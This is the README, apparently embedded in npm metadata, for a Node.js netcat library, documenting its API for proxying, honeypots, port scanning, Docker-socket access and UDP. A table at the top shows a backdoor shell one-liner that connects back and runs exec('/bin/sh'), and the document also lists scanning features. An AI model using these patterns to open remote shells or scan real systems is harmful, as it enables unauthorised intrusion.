|\n|---------------------|------------------------------------|\n|`nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout)`|`nc2.addr('127.0.0.1').port(2389).retry(5000).connect().exec('/bin/sh')`|\n\n- [x] Upgradeable to Meterpreter!\n\n#### Netcat as a proxy\n\nNetcat can be configured as a proxy server:\n\n```javascript\nconst nc = new NetcatServer()\nconst nc2 = new NetcatClient()\nnc2.addr('google.com').port(80).connect()\nnc.port(8080).k().listen().proxy(nc2.stream())\n```\n\nAll traffic flowing through `localhost:8080` will be redirected to `google.com:80`.\nSimilarly, you can set up port forwarding by using the same host.\n\n#### Honeypot\n\nPretend to be an Apache server:\n\n```javascript\nconst apache = `HTTP/1.1 200 OK\nDate: Sat, 27 May 2017 16:51:02 GMT\nServer: Apache/2.4.7 (Ubuntu)\nCache-Control: public, max-age=0\nContent-Type: text/html; charset=utf-8\nContent-Length: 16894\nVary: Accept-Encoding\n`\nconst nc = new NetcatServer()\nconst logFile = fs.createWriteStream('log.txt')\nnc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)\n```\n\n#### Port scanning\n\nThe netcat client also provides basic port scan functionality.\n\n```javascript\nconst nc = new NetcatClient()\nnc.addr('127.0.0.1').scan('22-80', function (ports) {\n // ports: { '22': 'open', '23': 'closed' ... }\n})\n```\n\nThe port scanner is TCP-only. UDP scanning is not [very effective](https://en.wikipedia.org/wiki/Port_scanner#UDP_scanning). `scan(...)` also accepts an array or an integer.\n\n#### Filter incoming data\n\n```javascript\nconst nc = new NetcatServer()\nnc.addr('127.0.0.1').port(8080).filter(function (chunk, enc, cb) {\n  // transform upper case\n  const out = chunk.toString().toUpperCase()\n  this.push(Buffer.from(out))\n  cb(null)\n}).pipe(process.stdout).listen()\n```\n\n#### Connect to a UNIX socket file\n\nBoth the Netcat server and client support UNIX socket connections.\nLet's use a Netcat client instance to connect to the Docker UNIX socket file and retrieve the list of container images.\n\n```javascript\nnc2.unixSocket('/var/run/docker.sock').enc('utf8')\n  .on('data', function (res) {\n    console.log(res)\n  })\n  .connect()\n  .send('GET /images/json HTTP/1.0\\r\\n\\r\\n')\n```\n\n#### UDP listen for packets\n\n```javascript\nconst nc = new NetcatServer()\nnc.udp().port(2100).listen().on('data', function (rinfo, data) {\n  console.log('Got', data.toString(), 'from', rinfo.address, rinfo.port)\n  nc.close()\n})\n```\n\n#### UDP send a packet\n\n```javascript\nconst nc2 = new NetcatClient()\nnc2.udp().port(2100).wait(1000).init().send('hello', '127.0.0.1')\n```\n\nSend the `hello` buffer to port `2100`, then close the client after `1000` ms.\n\n## API\n\n#### `port(int)` or `p(int)`\n\nNetcat can bind to any local port, subject to privilege restrictions and ports that are already in use.\n\n#### `address(host)` or `addr(host)`\n\n- When used server-side: set the local address to listen to. `0.0.0.0` by default.\n- When used client-side: set the remote address to connect to. `127.0.0.1` by default.\n\n#### `listen()`\n\nMake the UDP/TCP server listen on the previously set port.\n\n#### `unixSocket(path)` - TCP only\n\nOptionally, you can provide the path to a UNIX socket file and listen on it or connect to it.\n\n#### `connect()` - TCP only\n\nClient-side only. Let the client connect to the previously set address and port.\n\n#### `retry(ms)` - TCP only\n\nClient-side only. Retry connection every `ms` milliseconds when connection is lost.\n\n#### `interval(ms)` or `i(ms)`\n\nClient-side only. Specify a delay, in milliseconds, for sent data.\n\n#### `waitTime(ms)` or `wait(ms)`\n\nSet a timeout.\n\n- A server will wait `ms` milliseconds from the first data event and close the connection if it does not receive more data.\n- A client will wait `ms` milliseconds from the first sent data and close if there is no more data to send.\n\n#### `stream()`\n\nReturn the client duplex stream reference.\n\n#### `pipe(outStream)`\n\nPipe incoming data from the client to the given `outStream`.\n\n#### `filter(transformFn)`\n\nFilter incoming data with the given transform function, `function (chunk, enc, cb) { ... }`, before it is piped out.\n\n**Note**: The `.on('data', cb)` data you get is not filtered. The filter only applies on the piped `.pipe(...)` stream.\n\n**Known issue**: `through2` currently [doesn't respect](https://github.com/roccomuso/netcat/issues/4) the encoding. If you set a filter, you will get a Buffer and the `enc()` method will not be useful.\n\n#### `serve()`\n\nServer-side method.\n\nThe `serve` method accepts a string (indicating a file name, make sure the file exists), a readable stream, or a Buffer.\nWhen you pass a readable stream with TCP keepalive enabled, the stream's data is cached as it is read so later clients can receive the same data.\n\nWhen serving a file or a Buffer to a socket, the pipe will emit an `end` (EOF) event to the socket and close the stream.\n\n#### `send(data [, cb|host])`\n\nClient-side:\n\n- in TCP: send data to the connected server. `cb` is called once the data has been sent.\n- in UDP: send data to the destination address, or to the given host if provided.\n\nServer-side:\n\n- in TCP: not available; use `serve()` instead.\n- in UDP: send data to the destination address, or to the given host if provided.\n\n#### `end(data)` - TCP only\n\nClient-side method. Send the given data and close the connection.\n\n#### `close([cb])`\n\nClose the connection, or all connections when called server-side, and call `cb` once the socket is closed.\n\n#### `enc()`\n\nSet an encoding. The most common ones are: `utf8`, `ascii`, `base64`, `hex`, and `binary`.\n\n#### `protocol(prot)`\n\nSet a custom protocol. The use of this method is discouraged. Use the methods `tcp()` and `udp()` instead. `tcp` is the default value.\n\n#### `keepalive()` or `k()` - TCP only\n\nServer-side method.\n\nWhen you enable keepalive, the server will stay up and the `outStream` given to `pipe(outStream)` may be kept open.\n\nBy default, a UDP listener stays alive until an explicit `nc.close()`.\n\n#### `exec()` - TCP only\n\nThe `exec()` method executes the given command and pipes its `stdout` and `stderr` to the client socket. It accepts an optional array of args as the second parameter and [spawn options](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) as the third parameter. If a pipe character (`|`) is found, the command is processed with `sh -c` on Unix-like systems or `cmd.exe /C` on Windows.\n\nExample:\n\n```javascript\nnc.p(2389).exec('base64', ['-d']).listen()\n// OR\nnc.p(2389).exec('base64 | grep hello').listen()\n```\n\n#### `getClients()` - TCP only\n\nServer-side method. Return an object listing all client socket references.\n\n#### `proxy(duplexStream)` - TCP only\n\nServer-side method. This method pipes the server's incoming and outgoing data to the provided `duplexStream`. It is a shortcut for both `.serve(duplexStream)` and `.pipe(duplexStream)`.\n\n#### `output(outStream)` or `out(outStream)`\n\nWrite a hex dump of incoming or outgoing traffic to the given writable stream, `outStream`.\n\nA row represents a chunk of at least 16 bytes by default.\n\nThe first character can be either `<` or `>`, meaning \"incoming chunk\" or \"outgoing chunk\", respectively.\n\n#### `scan(portsInterval, cb)` - TCP only\n\nThe netcat client also provides basic port scan functionality.\n\nThe first parameter is mandatory and specifies the port or ports to scan.\nIt can be a single integer, a string interval (like `22-80`), or an array of integers (`[22, 23, 1880]`).\nIf provided, the callback receives an object like `{ '22': 'open', '23': 'closed' ... }`.\n\n#### `init()` - UDP only\n\nThe UDP equivalent of `connect()`. This is for UDP clients only.\n\n#### `bind(<int>)` - UDP only\n\nLet the UDP client/server listen on the given port. It will also be used as the outgoing port if `.port(<n>)` was not called.\n\n#### `broadcast(<dst>)` or `b(<dst>)` - UDP only\n\nEnable broadcast for the UDP server. You can optionally specify a destination address.\n\n#### `destination(<dst>)` - UDP only\n\nSet a destination address. (`127.0.0.1` is the default value.)\n\n#### `loopback()` - UDP only\n\nEnable loopback. For instance, when a UDP server is bound to a port and sends a message to that port, it will receive the message back if loopback is enabled.\n\n## Events\n\nThe netcat modules extend the `EventEmitter` class. You can catch some events straight from the sockets. For example, the server `data` event:\n\n| Server              | Client                    |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().on('data', onData)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\n```javascript\nfunction onData (socket, chunk) {\n  console.log(socket.id, 'got', chunk) // Buffer <...>\n  socket.write('hello client') // reply to the client\n}\n```\n\n### Server events\n\n- `.on('data', function (sockOrRinfo, msg) {})`\n\nEmitted when the server receives data from clients.\n\n- `.on('ready', cb)`\n\nEmitted when the server successfully listens on or binds to a port.\n\n- `.on('close', cb)`\n\nEmitted when the server closes.\n\n- `.on('clientClose', function (socket, hadError) {})` - **TCP only**\n\nCalled when a client disconnects from the server.\nThe callback receives the disconnected `socket` instance as the first parameter and a Boolean `hadError` value as the second parameter.\n\n- `.on('connection', function (socket) {})` - **TCP only**\n\nEmitted when a new client connects to the server.\n\n- `.on('end', function (socket) {})` - **TCP only**\n\nEmitted when a client ends the connection.\n\n- `.on('timeout', function (socket) {})` - **TCP only**\n\nSocket timeout event.\n\n- `.on('waitTimeout', cb)`\n\nFired when the server remains inactive for a specified `wait(ms)` time.\n\n- `.on('error', function (err) {})`\n\nEmitted on error.\n\n### Client events\n\n- `.on('data', function (msg) {})`\n\nEmitted when data is received from the server.\n\n- `.on('close', cb)`\n\nEmitted when the client closes.\n\n- `.on('waitTimeout', cb)`\n\nFired when the client remains inactive for a specified `wait(ms)` time.\n\n- `.on('connect', cb)` - **TCP only**\n\nEmitted when the client establishes a connection with a server.\n\n- `.on('error', function (err) {})`\n\nEmitted on error.\n\n## CLI usage\n\nFor standalone usage, install the [nc](https://github.com/roccomuso/nc) CLI package:\n\n    $ npm install -g nc\n\nExample:\n\n    $ # Listen for inbound\n    $ nc -l -p port [- options] [hostname] [port]\n\n\nAvailable options:\n\n\n- [x] `-c shell commands    as '-e'; use /bin/sh to exec [dangerous!!]`\n- [x] `-e filename          program to exec after connect [dangerous!!]`\n- [x] `-b                   allow broadcasts`\n- [x] `-i secs              delay interval for lines sent, ports scanned (client-side)`\n- [x] `-h                   show help`\n- [x] `-k set               keepalive option on socket`\n- [x] `-l                   listen mode, for inbound connects`\n- [ ] `-n                   numeric-only IP addresses, no DNS`\n- [x] `-o file              hex dump of traffic`\n- [x] `-p port              local port number`\n- [ ] `-r                   randomize local and remote ports`\n- [ ] `-q secs              quit after EOF on stdin and delay of secs`\n- [x] `-s addr              local source address`\n- [x] `-u                   UDP mode`\n- [x] `-U                   Listen or connect to a UNIX domain socket`\n- [x] `-v                   verbose`\n- [x] `-w secs              timeout for connects and final net reads`\n- [x] `-z                   zero-I/O mode [used for scanning]`\n\n\n## DEBUG\n\nDebug output matches verbose mode.\nYou can enable it with the `verbose: true` parameter or the `DEBUG=netcat:*` environment variable.\n\n## Tests\n\nRun them with: `yarn test`\n\nCoverage:\n\n- [x] Test the `.serve(input)` method\n- [x] Test the keepalive connection with `.pipe()` and `serve()`.\n- [x] `serve()` accepts a string, stream, or Buffer.\n- [x] `exec()` method\n- [x] Backdoor shell\n- [x] Proxy server\n- [x] UDP.\n\n## Author\n\nRocco Musolino ([@roccomuso](https://twitter.com/roccomuso))\n\n## License\n\nMIT\n","readmeFilename":"README.md","users":{"rexpan":true,"roccomuso":true,"quocnguyen":true}}